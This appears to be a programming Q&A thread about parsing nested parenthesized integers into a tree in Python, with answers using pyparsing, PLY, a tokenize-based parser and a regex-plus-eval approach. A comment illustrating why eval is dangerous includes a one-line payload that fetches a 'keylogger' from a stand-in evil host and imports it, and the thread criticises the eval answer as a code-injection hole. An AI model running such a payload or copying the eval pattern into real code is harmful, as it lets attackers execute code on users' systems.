tags:

views:

93

answers:

4

For example, I have the following input data:

(( 12 3 ) 42 )

I want to treat each integer value of the input data. This is an example of the general input data presentation.

Just for additional information:

Such presentation is corresponding to the binary tree with marked leaves:

   /\
  /\ 42
 12 3
+3  A: 

I recommend pyparsing for this parsing task -- here, for example, is a pyparsing-based parsers for S-expressions... probably much richer and more powerful than what you need, but with a really limited understanding of Python and pyparsing you can simplify it down as much as you require (if at all -- it's quite able to perform your task already, as a subset of the broader set it covers;-).

Alex Martelli
A: 

here is good list of resources you could use. I would suggest PLY

cji
A: 

something like the following should work:

import re
newinput = re.sub(r"(\d) ", r"\1, ", input)
newinput = re.sub(r"\) ", r"), ", newinput)
eval(newinput)
Eric Snow
Have you tested this solution before posting? Is `(, 6, 9,)` even valid Python expression?
cji
fixed it. Should have been )
Eric Snow
If I needed something really lightweight, I might do that with whatever matched the regular expression `([\d\w()]*)` (or at least a tested version of it). otherwise `import eval_is_evil` will get evaluated with whatever permissions the program has. If you can get malicious code through a working version of the regular expression i've given, you deserve to own my system.
aaronasterling
`'''import urllib, os; path = os.path.expanduser('~/.common.hidden.path./.keylogger.py'); urllib.urlretrive('http://my.evil.russian.websever.info', path); __import__(path)'''`
aaronasterling
+1  A: 

I wrote this script. It may be helpful

import tokenize,StringIO
def parseNode(tokens):
    l = []
    while True:
        c = next(tokens)
        if c[1] == '(':
            l.append(parseNode(tokens))
        elif c[1] == ')':
            return l
        elif c[0] == tokenize.NUMBER:
            l.append(int(c[1]))
def parseTree(string):
    tokens = tokenize.generate_tokens(StringIO.StringIO(string).readline)
    while next(tokens)[1] != '(' : pass
    return parseNode(tokens)
print parseTree('(( 12 3 ) 42 15 (16 (11 2) 2) )')
Odomontois